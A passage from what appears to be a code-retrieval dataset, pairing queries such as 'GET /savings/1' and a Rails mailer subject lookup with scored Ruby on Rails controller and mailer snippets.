new.html.erb\n format.xml { render :xml => @stuff }\n end\n end", "title": "" }, { "docid": "ff0e85781574de387e97af7ddf2e6cad", "score": "0.6911813", "text": "def new\n @sale = Sale.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sale }\n end\n end", "title": "" }, { "docid": "f71970dd890c0547f37d063902f880cb", "score": "0.6911172", "text": "def new\n @toon = Toon.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @toon }\n end\n end", "title": "" }, { "docid": "34a55587fac22d01aa464dabf939cff6", "score": "0.69082063", "text": "def new\n @unite = Unite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @unite }\n end\n end", "title": "" }, { "docid": "fd10f91e9f1affddd434023292e44807", "score": "0.6900711", "text": "def new\n @sale = Sale.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sale }\n end\n end", "title": "" }, { "docid": "d45a93b43f2807d5f87e60c6a8374bed", "score": "0.6897515", "text": "def new\n @loanapp = Loanapp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @loanapp }\n end\n end", "title": "" }, { "docid": "f75458c19c2d8e3e41f2528cbb6be4c1", "score": "0.68966216", "text": "def new\n @attendee = Attendee.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @attendee }\n end\n end", "title": "" }, { "docid": "729948e6442dd8cff30ae8aba423adde", "score": "0.6896007", "text": "def new\n @hospede = Hospede.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @hospede }\n end\n end", "title": "" } ]
1b580360e8c0da78e47255dae25b7e59
GET /savings/1 GET /savings/1.json
[ { "docid": "73f8b8b15f2501b3afa900e4096a8a41", "score": "0.0", "text": "def show\n @year= @saving.saving_date.year\n @month= @saving.saving_date.month\n @saving.year= @year\n @saving.month = @month\n\n @ref = @saving.id\n @totallodgement = Lodgement.where(saving_id: @ref).sum(:amount)\n @totalwithdrawal = Withdrawal.where(saving_id: @ref).sum(:amount)\n @lodgments = Lodgement.where(saving_id: @ref).order(\"created_at DESC\")\n @withdrawals = Withdrawal.where(saving_id: @ref).order(\"created_at DESC\")\n\n # reconciliation calc\n\n @recons = SavingRecon.where(saving_id: @ref).sum(:correction_amount)\n\n\n @balance = ((@totallodgement - @totalwithdrawal)+ @recons)\n @saving.balance= @balance\n\n # Savings number\n @saving_number = (@saving.id + 10000 )\n @saving.saving_number = @saving_number\n\n\n @saving.save\n\n\n\n end", "title": "" } ]
[ { "docid": "b0d447375e2519dcf9a973f546022c21", "score": "0.7051166", "text": "def index\n @savings = Saving.all\n end", "title": "" }, { "docid": "1a989c2e503483ac3fe3a9d88075a840", "score": "0.69771385", "text": "def show\n @saving = Saving.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @saving }\n end\n end", "title": "" }, { "docid": "4b24a5319282a034357d7429df99d238", "score": "0.6844911", "text": "def index\n @savings = Saving.for_user(current_user).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @savings }\n end\n end", "title": "" }, { "docid": "f792d1b7f81696a154bcac9390b1b5cc", "score": "0.65924364", "text": "def index\n @savingrates = Savingrate.all\n end", "title": "" }, { "docid": "b41249c86edb81b87a925c630bdfc6ec", "score": "0.6544305", "text": "def index\n @savages = Savage.all\n end", "title": "" }, { "docid": "ac1314423c738d346cde3ee53cb1456e", "score": "0.6410389", "text": "def show\n @soldout = Soldout.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @soldout }\n end\n end", "title": "" }, { "docid": "3cfa5614c316bb084737c0f0141b4412", "score": "0.6318505", "text": "def index\n @savings = Saving.all.paginate(page: params[:page], :per_page => 5).order(\"created_at DESC\")\n end", "title": "" }, { "docid": "b2c78800c5a3122f8c6480b393c00a5f", "score": "0.6313281", "text": "def index\n @sulabh_savings = SulabhSaving.all\n end", "title": "" }, { "docid": "cd72884ad00c3d9f59a89855a81e26ef", "score": "0.6270443", "text": "def show\n @sp_earning = SpEarning.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sp_earning }\n end\n end", "title": "" }, { "docid": "7a757a0f74beb819fee584e87de7c143", "score": "0.62480533", "text": "def index\n @saving_accounts = SavingAccount.all\n respond_to do |format| \n format.html { render :index }\n format.json { render json: @saving_accounts }\n end\n end", "title": "" }, { "docid": "c2b3dc47880fd337f1d4303284946422", "score": "0.6245757", "text": "def index\n @billings = Billing.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @billings }\n end\n end", "title": "" }, { "docid": "36bd69f7ce7b9f2b622310e22b4a86f0", "score": "0.6242843", "text": "def index\n @sulabh_savings_balances = SulabhSavingsBalance.all\n end", "title": "" }, { "docid": "f90aa5115f34aaa279a735dfb7139fb5", "score": "0.6236143", "text": "def skier_pings_index \n @pings = Skier.find(params[:id]).pings\n render json: @pings \n end", "title": "" }, { "docid": "35b30034c84e3706eb8659bb1e766dba", "score": "0.623513", "text": "def show\n sighting = Sighting.find(params[:id])\n render json: sighting\nend", "title": "" }, { "docid": "0cb6e8e5768cf05296cf7fd6df5cfc6f", "score": "0.6195587", "text": "def index\n @drawings = Drawing.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @drawings }\n end\n end", "title": "" }, { "docid": "3725b08173775b0a7711f3640eec5ea5", "score": "0.6183259", "text": "def new\n @saving = Saving.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @saving }\n end\n end", "title": "" }, { "docid": "3ed276846dca85986057c320d5a701a4", "score": "0.6172019", "text": "def index \n spices = Spice.all\n render json: spices\nend", "title": "" }, { "docid": "3bc8f0d070c0b38b332711be8726c2d7", "score": "0.61696273", "text": "def index\n @sprints = Sprint.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sprints }\n end\n end", "title": "" }, { "docid": "4c905ba0617f87e9c07dcffc06daeb58", "score": "0.6166768", "text": "def index\n @stocking_details = StockingDetail.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @stocking_details }\n end\n end", "title": "" }, { "docid": "acd122eb47274ae6bc4395fe62fd6dd8", "score": "0.61554927", "text": "def show\n sighting = Sighting.find(params[:id])\n render json: sighting\n end", "title": "" }, { "docid": "65a27ef29a0356089ec3c9f41eafa306", "score": "0.61364704", "text": "def show\n @storing = Storing.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @storing }\n end\n end", "title": "" }, { "docid": "ac8355d07e1353ac36659b08db8f2002", "score": "0.61321086", "text": "def index\n @bookings = Booking.all\n\n render json: @bookings\n end", "title": "" }, { "docid": "7b4487ec66b782ccfce43a1e1c992649", "score": "0.6075791", "text": "def index\n @savings_calculator_data = SavingsCalculatorDatum.all\n end", "title": "" }, { "docid": "db8782dcce76886a9bd28c96eab6be37", "score": "0.6074661", "text": "def index\n # @savings = Saving.all\n # @savings = Saving.page(params[:page]).order(:id)\n # indexであっても検索フォームを出すので、まずはnewメソッドでフォーム準備\n # そのあと、searchをコールして検索結果表示\n @saving = Search::Saving.new\n end", "title": "" }, { "docid": "46c359201802f018d6f3fa41c2d9e77d", "score": "0.60566336", "text": "def holdings\n get(\"portfolio.holdings\")\n end", "title": "" }, { "docid": "f8e3096e7026b214a95162cbbf1e7227", "score": "0.60420936", "text": "def set_savage\n @savage = Savage.find(params[:id])\n end", "title": "" }, { "docid": "63d4ea1750ba85b8afb447f74df0203e", "score": "0.5998718", "text": "def show\n @sole_bank = SoleBank.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sole_bank }\n end\n end", "title": "" }, { "docid": "82f007b7a307feb0714df0ebdefb6ed2", "score": "0.5988158", "text": "def index\n @findings = Finding.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @findings }\n end\n end", "title": "" }, { "docid": "8224d9c78ab1f9ef8150e3e447eefb7e", "score": "0.5981765", "text": "def index\n @sightings = Sighting.all\n render json: @sightings, include: [:bird, :location]\n end", "title": "" }, { "docid": "f992bf7c41cacd3b1817f33253a38932", "score": "0.597472", "text": "def index\n @spending_budgets = SpendingBudget.all\n end", "title": "" }, { "docid": "5a538f72a25937958fe97031e620e596", "score": "0.59734917", "text": "def show\n @stocking_detail = StockingDetail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stocking_detail }\n end\n end", "title": "" }, { "docid": "f1edc44658c4f93f301ae08cc54ff628", "score": "0.5973347", "text": "def show\n @shaving_record = ShavingRecord.find(params[:id])\n @shaving_items = ShavingItem.where(shaving_record_id: params[:id]).pluck(:item_id)\n @items = Item.where(id: @shaving_items)\n\n respond_to do |format| #this includes items!\n format.html\n format.json {render :json =>{:shaving_record => @shaving_record,\n :items => @items\n }\n }\n puts @shaving_record.to_json(:only =>[:id, :description, :rating])\n puts format.json\n end\n end", "title": "" }, { "docid": "e36402aca30ca01cd7649aa8642a84b2", "score": "0.5966028", "text": "def index\n @sparrings = Sparring.all\n end", "title": "" }, { "docid": "253aa21fa83d3d4f968ed6f8ba44a2ba", "score": "0.59647304", "text": "def index\n render json: Housekeeping.where(stay_id: params[:stay_id])\n end", "title": "" }, { "docid": "324916f9e1a0bf512fd84fd88b3c33fc", "score": "0.59477323", "text": "def index\n @stocks = Stock.all\n\n render json: @stocks\n end", "title": "" }, { "docid": "73a9b8a89d0ccc6aa3143ceb3b03ba51", "score": "0.594308", "text": "def show\n @banking_financial = BankingFinancial.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @banking_financial }\n end\n end", "title": "" }, { "docid": "f2f6ecd26b5cc452a2f7f31a50066d0a", "score": "0.5937262", "text": "def index\n @stocks = Stock.all\n json_response(@stocks)\n end", "title": "" }, { "docid": "120ef8ed8fc52122f73bee49c4805b52", "score": "0.5935222", "text": "def show\n @sprint = Sprint.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sprint }\n end\n end", "title": "" }, { "docid": "120ef8ed8fc52122f73bee49c4805b52", "score": "0.5935222", "text": "def show\n @sprint = Sprint.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sprint }\n end\n end", "title": "" }, { "docid": "d65ce9f0532219b10f9792ac07754e3b", "score": "0.5932934", "text": "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end", "title": "" }, { "docid": "d65ce9f0532219b10f9792ac07754e3b", "score": "0.5932934", "text": "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end", "title": "" }, { "docid": "0ce5890d301b14b0afc923ab592fca09", "score": "0.5932045", "text": "def index\n @sales = Sale.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sales }\n end\n end", "title": "" }, { "docid": "0ce5890d301b14b0afc923ab592fca09", "score": "0.5932045", "text": "def index\n @sales = Sale.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sales }\n end\n end", "title": "" }, { "docid": "873429ec004026c0f867ed3d5caf9a83", "score": "0.5925739", "text": "def create_savings\n\nend", "title": "" }, { "docid": "be0ecce53018c3131d286771fb50bb1c", "score": "0.5920114", "text": "def show\n @painting = Painting.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @painting }\n end\n end", "title": "" }, { "docid": "7af5eb52b6715beddfd51e6e5bd7a759", "score": "0.59102434", "text": "def show\n respond_to do |format|\n format.html { redirect_to :index }\n format.json { render json: Warranty.find(params[:id]) }\n end\n end", "title": "" }, { "docid": "31d4682c3306ba1e46e81fd2d2a3d99f", "score": "0.5908577", "text": "def show\n @sale = Sale.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sale }\n end\n end", "title": "" }, { "docid": "31d4682c3306ba1e46e81fd2d2a3d99f", "score": "0.5908577", "text": "def show\n @sale = Sale.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sale }\n end\n end", "title": "" }, { "docid": "31d4682c3306ba1e46e81fd2d2a3d99f", "score": "0.5908577", "text": "def show\n @sale = Sale.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sale }\n end\n end", "title": "" }, { "docid": "7fad7419c9ffb80227c60d545784621f", "score": "0.5905297", "text": "def index\n @tastings = Tasting.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @tastings }\n end\n end", "title": "" }, { "docid": "e27729d4ea768b422214fdf952e2065f", "score": "0.5903341", "text": "def get_brandings\n request :get,\n '/v3/brandings.json'\n end", "title": "" }, { "docid": "03ef7b21dca89e4ce0dfb35ca0090114", "score": "0.589952", "text": "def show\n @sale = Sales.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sale }\n end\n end", "title": "" }, { "docid": "e93d457bf1dbb27d12530b084385adff", "score": "0.58937496", "text": "def show\n burn = Burn.find(params[:id])\n render(:json => burn.to_json)\n rescue ActiveRecord::RecordNotFound\n render(:json => {error: \"no burn with that id found}\"}, :status => 404)\n end", "title": "" }, { "docid": "3796198ed94a817e62996533b5dbd048", "score": "0.5892169", "text": "def show\n @stall = Stall.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stall }\n end\n end", "title": "" }, { "docid": "8b2c3904737d50a57ecfc0c13f2b6e1d", "score": "0.5880253", "text": "def show\n render json: @stock\n end", "title": "" }, { "docid": "3845e8287549715ef4ead5abcb268757", "score": "0.5878394", "text": "def show\n @sale = Sale.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @sale }\n end\n end", "title": "" }, { "docid": "7b5b16f7b1e4284909d663ab733faa82", "score": "0.5875908", "text": "def show\n @sale_item = SaleItem.find(params[:id])\n\n respond_to do |format|\n format.json { render :json => @sale_item.to_json }\n end\n end", "title": "" }, { "docid": "f8194cc0a8f8e2d138b02b9de87569f2", "score": "0.58665943", "text": "def show\n sighting = Sighting.find_by(id: params[:id])\n if sighting\n render json: sighting, include: [:bird, :location], except: [:updated_at]\n else\n render json: { message: 'No sighting found with that id' }\n end\nend", "title": "" }, { "docid": "f38135e8f2d6a2db2cc34b8a057fde59", "score": "0.58566433", "text": "def show\r\n @outstock = Outstock.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @outstock }\r\n end\r\n end", "title": "" }, { "docid": "a5fafae53a19481dac71d5503bcc77e0", "score": "0.58496696", "text": "def index\n @standings = Standing.order(:year)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @standings }\n end\n end", "title": "" }, { "docid": "0c1bd0868bcb138f32afea1cf8529d4b", "score": "0.58496654", "text": "def index\n @silk_billings = SilkBilling.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @silk_billings }\n end\n end", "title": "" }, { "docid": "3d9f9b501e96f2e396d5f748e45024ab", "score": "0.5849168", "text": "def index\n @ranking2017s = Ranking2017.all\n render JSON:Ranking2017\n end", "title": "" }, { "docid": "66900ab6a35943cd27ccd9eb2984683d", "score": "0.58383375", "text": "def show\n @drawing = Drawing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @drawing }\n end\n end", "title": "" }, { "docid": "66900ab6a35943cd27ccd9eb2984683d", "score": "0.58383375", "text": "def show\n @drawing = Drawing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @drawing }\n end\n end", "title": "" }, { "docid": "e70649c15d97f7df223d71cd23d54d9a", "score": "0.5836757", "text": "def index\n @listings = Listing.all\n render json: @listings\n end", "title": "" }, { "docid": "614e7229d903dca2d68de898fa40af07", "score": "0.58364415", "text": "def show\n @finance = Finance.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @finance }\n end\n end", "title": "" }, { "docid": "89dc3b117bc719b8f695fa52670150f2", "score": "0.58347696", "text": "def index\n @budgets = Budget.all\n render json: @budgets\n end", "title": "" }, { "docid": "0ca50eb5e42aab5ec055f8562deb73bc", "score": "0.5822444", "text": "def show\n @growth_stage = GrowthStage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @growth_stage }\n end\n end", "title": "" }, { "docid": "b257c222d95189378ab403dd8e144ace", "score": "0.5819424", "text": "def index\n @sale_details = SaleDetail.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sale_details }\n end\n end", "title": "" }, { "docid": "8d68bb63ca1303ccf1d448ed87b47d30", "score": "0.5817639", "text": "def show\n @house_stock = HouseStock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @house_stock }\n end\n end", "title": "" }, { "docid": "5b95c7bc71491bd66b584dff8a083548", "score": "0.5816102", "text": "def show\n @in_stock = InStock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @in_stock }\n end\n end", "title": "" }, { "docid": "98bec196c6f2e1538ac527c1585551fe", "score": "0.58144844", "text": "def show\n @stock_market = StockMarket.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock_market }\n end\n end", "title": "" }, { "docid": "dc4627bb63e9eadd715473a78b4cf688", "score": "0.58090305", "text": "def show\n @fitting = Fitting.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fitting }\n end\n end", "title": "" }, { "docid": "d60fe54e6e038282d7228474d441613d", "score": "0.58077925", "text": "def index\n @checkouts = Checkout.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @checkouts }\n end\n end", "title": "" }, { "docid": "0c3b49e80a15388e4b39723baa4e0c32", "score": "0.57966757", "text": "def show\n @stock = Stock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock }\n end\n end", "title": "" }, { "docid": "0c3b49e80a15388e4b39723baa4e0c32", "score": "0.57966757", "text": "def show\n @stock = Stock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock }\n end\n end", "title": "" }, { "docid": "0c3b49e80a15388e4b39723baa4e0c32", "score": "0.57966757", "text": "def show\n @stock = Stock.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stock }\n end\n end", "title": "" }, { "docid": "03d9df9610f2c87d4ee205ce2ffed4e9", "score": "0.5795688", "text": "def index\n @saved_listings = SavedListing.all\n end", "title": "" }, { "docid": "990ecb318d72fbfd1703da5fb94895b2", "score": "0.57953036", "text": "def show\n @batting_stat = BattingStat.includes(:team).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @batting_stat }\n end\n end", "title": "" }, { "docid": "b885c0a4040782e891ce59025b19367a", "score": "0.57922506", "text": "def show\n scheduling = Api::V1::SchedulingManager::Shower.new(params[:id], true, params).build\n render json: scheduling, status: :ok\n end", "title": "" }, { "docid": "9cae7bd36b45607b7239f2410be29088", "score": "0.5789999", "text": "def index\n @stats = Stat.last\n\n respond_to do |format|\n format.json do\n render json: @stats, status: 200\n end\n end\n end", "title": "" }, { "docid": "6c0a80f1182d9d4bb6422ec90c93b6fd", "score": "0.5787985", "text": "def spending_stat(params={})\n path = '/stats/spending'\n response = @client.get path, params\n PaginateResource.new path, @client, response, SpendingStat\n end", "title": "" }, { "docid": "024b8499d6ccb067d0888071ac183570", "score": "0.57878757", "text": "def show\n @sgoal = Sgoal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sgoal }\n end\n end", "title": "" }, { "docid": "0474f541e76e4dde246099ee782e9a8d", "score": "0.5787122", "text": "def index\n @project = Project.find(params[:project_id])\n @sprints = @project.sprints\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sprints }\n end\n end", "title": "" }, { "docid": "ce5b0348ba0877802d2ebb1a4d6dcc94", "score": "0.5786601", "text": "def show\n @averagewait = Averagewait.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @averagewait }\n end\n end", "title": "" }, { "docid": "5fbfee520ff24c3ae34e181a233e98b4", "score": "0.57864475", "text": "def show\n budget = Budget.find(params[:id])\n render :json => budget\n end", "title": "" }, { "docid": "f0e3020dff99061757cfdd6e700f1096", "score": "0.57839185", "text": "def show\n @so_shipment = SoShipment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @so_shipment }\n end\n end", "title": "" }, { "docid": "f4ff29972bc16dd255b8554f71ebe128", "score": "0.5782646", "text": "def index\n @worths = Worth.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @worths }\n end\n end", "title": "" }, { "docid": "3ea3a4062a37adb50418c906a7f4e6a0", "score": "0.57817364", "text": "def index\n @sandwiches = Sandwich.where(order_id: @order.id) if @order\n @sandwiches ||= Sandwich.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sandwiches }\n end\n end", "title": "" }, { "docid": "93d7b36794b96380caa881cc274f58ea", "score": "0.57803464", "text": "def show\n render json: MangaBookshelf.find_shelves(params[:id])\n end", "title": "" }, { "docid": "db4f0545ec5c2b4981057825ff71a301", "score": "0.5777411", "text": "def show\n @spread = Spread.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @spread }\n end\n end", "title": "" }, { "docid": "7485c87294642c54c8725a9aaf63c380", "score": "0.57731813", "text": "def show\n render json: @booking\n end", "title": "" }, { "docid": "d1213359088a480903d5b3cbf772bfba", "score": "0.5768921", "text": "def show\n @salon = Salon.find(params[:id]) \n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @salon }\n end\n end", "title": "" }, { "docid": "d9182cc06f09f56207af5bc241c36fda", "score": "0.5762436", "text": "def show\n @stipulation = Stipulation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stipulation }\n end\n end", "title": "" }, { "docid": "d71eb68c85af07ed3ec5a5a0fa11cce4", "score": "0.5762343", "text": "def index\n @sellings = Selling.all\n end", "title": "" }, { "docid": "a61df344da8bff4fa36c76804fc88c06", "score": "0.5760574", "text": "def index\n @stocker_items = StockerItem.all\n render json: @stocker_items\n end", "title": "" }, { "docid": "7aad82504d0ea840b5da629400d6c52b", "score": "0.5759943", "text": "def show\n @sandwich = Sandwich.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sandwich }\n end\n end", "title": "" }, { "docid": "7aad82504d0ea840b5da629400d6c52b", "score": "0.5759943", "text": "def show\n @sandwich = Sandwich.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sandwich }\n end\n end", "title": "" }, { "docid": "7aad82504d0ea840b5da629400d6c52b", "score": "0.5759943", "text": "def show\n @sandwich = Sandwich.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sandwich }\n end\n end", "title": "" }, { "docid": "45dbb85fc8d0cc2e411b601207afdabd", "score": "0.5758955", "text": "def show\n booking = Booking.find(params[:id])\n render json: {\n name: booking.session.name,\n cost: booking.session.cost,\n day: booking.session.day,\n time: booking.session.time\n }\n end", "title": "" }, { "docid": "8c76b36a3a7f9a4a2f151daae24837a4", "score": "0.5756972", "text": "def index\n @sins = Sin.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sins }\n end\n end", "title": "" } ]
fd7f8b72c0447184c8611576226dd1a1
Subject can be set in your I18n file at config/locales/en.yml with the following lookup: en.order_mailer.shipped.subject
[ { "docid": "2d2959f69cc022a4f1c12e7c0d3d1d85", "score": "0.0", "text": "def shipped\n @greeting = \"test rails 1111111\"\n\n mail to: \"timanismayana@gmail.com\"\n end", "title": "" } ]
[ { "docid": "ea740e704e8f1173fb87b45dfcaaf989", "score": "0.71963865", "text": "def subject_for(key)\n I18n.t(:subject, scope: [:mailer, key])\n end", "title": "" }, { "docid": "8928fe4f050d7ebd3e9aa992b07e320a", "score": "0.7094809", "text": "def subject_for\n ActiveSupport::Deprecation.warn \"subject_for\"\n I18n.t(:\"subject\", scope: [:notifications, :mailer],\n default: [:subject])\n end", "title": "" }, { "docid": "dc7d12811f6d234ea98ad06ca7ef51d8", "score": "0.6710671", "text": "def default_i18n_subject(interpolations = {}) # :doc:\n mailer_scope = self.class.mailer_name.tr(\"/\", \".\")\n I18n.t(:subject, **interpolations.merge(scope: [mailer_scope, action_name], default: action_name.humanize))\n end", "title": "" }, { "docid": "2316f65233b6fb2d5ca6cbcf9856af69", "score": "0.6655115", "text": "def deliver_invitation(options = {})\n super(options.merge(subject: _('A Data Management Plan in %{application_name} has been shared with you') % {application_name: Rails.configuration.branding[:application][:name]}))\n end", "title": "" }, { "docid": "c4a674d85e621eef1f1b8d2584c5ccf4", "score": "0.6606907", "text": "def subject\n I18n.t('flowdock.inbox_message.subject', message_type: I18n.t(\"flowdock.inbox_message.type.#{@type}\"), store_name: current_store.name)\n end", "title": "" }, { "docid": "d559f396e2aaf6d814c15d1286fe3fa4", "score": "0.65338814", "text": "def translate(mapping, key)\n I18n.t(:\"#{mapping.name}_subject\", :scope => [:devise, :mailer, key],\n :default => [:subject, key.to_s.humanize])\n end", "title": "" }, { "docid": "0f99d0c46477f72fb27d8b568e412d12", "score": "0.6458387", "text": "def shipment_email(to, customer, shipment, titles, unfulfilled_titles)\n @customer = customer\n @shipment = shipment\n @titles = titles\n @unfulfilled_titles = unfulfilled_titles\n mail(subject: \"SmartFlix.com DVD Order Status\",\n to: Rails.env == 'production' ? to : SmartFlix::Application::EMAIL_TO_DEVELOPER,\n from: SmartFlix::Application::EMAIL_FROM).deliver\n end", "title": "" }, { "docid": "25da83c993ce4cf1f7b9941e027ed63a", "score": "0.64443684", "text": "def subject\n email_message.subject\n end", "title": "" }, { "docid": "0057005be13d2471732baf09ab7f3e03", "score": "0.6426552", "text": "def subject\n \"[#{I18n.t('app_name')} #{Rails.env.upcase}] #{message.subject}\"\n end", "title": "" }, { "docid": "542885bb44aabef24a05ce9d9749449c", "score": "0.63903624", "text": "def subject_for(key)\n I18n.t(:\"#{devise_mapping.name}_subject\", scope: [:devise, :mailer, key],\n default: [:subject, key.to_s.humanize])\n end", "title": "" }, { "docid": "c99eda28be9b3fe1f10546bb5e4340fb", "score": "0.6380388", "text": "def digest_email_subject(digest_group = nil)\n if digest_group\n translate_path = \"digest_notifier.#{digest_group.i18n_name_space}.email_subjsct\"\n \"#{DigestNotifier.app_name} #{I18n::t(translate_path, :default => 'todays updates')}\"\n else\n \"#{DigestNotifier.app_name} #{I18n::t('digest_notifier.email_subject', :default => 'todays updates')}\"\n end\n end", "title": "" }, { "docid": "6140e73ee355af7cdcaa1bec13316266", "score": "0.63554394", "text": "def subject\n @subject ||= @email.subject.to_s\n end", "title": "" }, { "docid": "05c5d647c8a1b25b9a68014dd9567d34", "score": "0.634127", "text": "def deliver_order_confirmation_email\n\t\tupdate_attribute(:locale, I18n.locale) if self.has_attribute?(:locale)\n orig_deliver_order_confirmation_email\n\tend", "title": "" }, { "docid": "c3da872a55a90983a0670a6b2f0ba82e", "score": "0.62723786", "text": "def order_shipped(order)\n @order = order\n\n # This is where we set the subject line for the order shipped email\n mail :to => order.email, :subject => 'Pragmatic Store Order Shipped'\n end", "title": "" }, { "docid": "1ed364e3ab9abb0823f0d98e397e066d", "score": "0.62642413", "text": "def email_subject_request\n # XXX pull out this general_register_office specialisation\n # into some sort of separate jurisdiction dependent file\n if self.public_body.url_name == 'general_register_office'\n # without GQ in the subject, you just get an auto response\n _('{{law_used_full}} request GQ - {{title}}',:law_used_full=>self.law_used_full,:title=>self.title)\n else\n _('{{law_used_full}} request - {{title}}',:law_used_full=>self.law_used_full,:title=>self.title)\n end\n end", "title": "" }, { "docid": "ab155e65d0a7fb6e58826542bee8d360", "score": "0.62524945", "text": "def auto_reply_subject(enquiry)\n I18n.t('integral.contact_mailer.auto_reply.subject', reference: enquiry.reference)\n end", "title": "" }, { "docid": "0c3396cb0dae322e35cdf4231cd444d6", "score": "0.62496334", "text": "def formatted_subject(text)\n name = PersonMailer.global_prefs.app_name\n label = name.blank? ? \"\" : \"[#{name}] \"\n \"#{label}#{text}\"\n end", "title": "" }, { "docid": "75e4ae88ce617fd153e0a7564934bd04", "score": "0.6242741", "text": "def default_subject\n DEFAULT_SUBJECT\n end", "title": "" }, { "docid": "f2fecd58a29b9acf94ad3b95a78dc2e7", "score": "0.61162895", "text": "def welcome_email_subject\n @attributes[:welcome_email_subject]\n end", "title": "" }, { "docid": "dc0391d703183bffe75fd95e5108a22a", "score": "0.61106765", "text": "def shipped order\n @order = order\n mail to: order.email, subject: I18n.t(:mail_subject) + I18n.t(:order_shipped)\n end", "title": "" }, { "docid": "53732f74790b6b444ae44583691fa9bd", "score": "0.6092744", "text": "def headers\n {\n :subject => I18n.t('ecm.contact_form.attributes.subscription_request.subject'),\n :to => \"recipient@your-site.com\",\n :from => %(\"#{fullname}\" <#{email}>)\n }\n end", "title": "" }, { "docid": "74baa31ac4cd8cba6d02f01d48db8016", "score": "0.6086802", "text": "def deliver\n I18n.switch_locale self.language || Utility.language_code do \n EmailMailer.deliver_message(self) if self.valid?\n end\n end", "title": "" }, { "docid": "d2f26cb27e81ae8b03fd141a0f231955", "score": "0.60649806", "text": "def subject=(subject); @message_impl.setSubject subject; end", "title": "" }, { "docid": "8ce192cb0eeac1cca7c1d5f1295be992", "score": "0.6063055", "text": "def subject\n @subject ||= convert(Mail::Encodings.decode_encode(message.subject || '', :decode))\n end", "title": "" }, { "docid": "a88f0f72dc91909c2d67b95574182c34", "score": "0.6062076", "text": "def subject\n @msg['Subject']\n end", "title": "" }, { "docid": 